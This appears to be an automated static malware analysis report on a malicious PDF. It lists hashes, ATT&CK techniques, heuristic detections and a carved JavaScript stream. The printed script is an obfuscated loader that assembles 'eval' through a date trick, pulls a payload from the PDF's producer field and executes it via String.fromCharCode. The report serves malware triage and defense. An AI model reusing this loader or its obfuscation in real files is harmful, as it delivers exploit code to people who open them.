Malicious PDF — malware analysis report

Static analysis result for SHA-256 8192d510094913b0…

MALICIOUS

PDF

22.0 KB Created: 2010-07-25 10:32:51 First seen: 2013-04-07
MD5: 05d22c4d1e53d2889a516f8113c0b63c SHA-1: 26266f36ba0865f774819d52379dc7efa9c9bd51 SHA-256: 8192d510094913b0ee26627b74fa7b991739850272272df3267a601a84f68963
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF document contains embedded JavaScript that utilizes String.fromCharCode to decode and execute a payload. This JavaScript is identified as part of an exploit cluster, indicating an attempt to compromise the user's system. The ML classifier strongly flags this PDF as malicious, supporting the conclusion that it is designed to deliver an exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    toum\(toum\('String.fromCharCode\(' + bqj + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x55ED 372 bytes
SHA-256: 8dc5a75e33e1dd5b9936a38d7d490b697ab45c8026e06e3ebd8875fc819b601c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
arq = app;
xkxam = new Date(2010,11,4);
var ueqs='';
var xqd = 'e'+xkxam.getDay()+'a'+ueqs+'l';
xqd = xqd.replace('6','v');
toum=arq[xqd];
var ueqs='';
toum('va'+ueqs+'r jpr=th'+ueqs+'i'+ueqs+'s');
tnmgt='pr' + ueqs + xkxam.getDay() + ueqs + 'uc' +'er';
tnmgt = tnmgt.replace('6', 'od');
var bqj = jpr[tnmgt];
toum(toum('String.fromCharCode(' + bqj + ')'));

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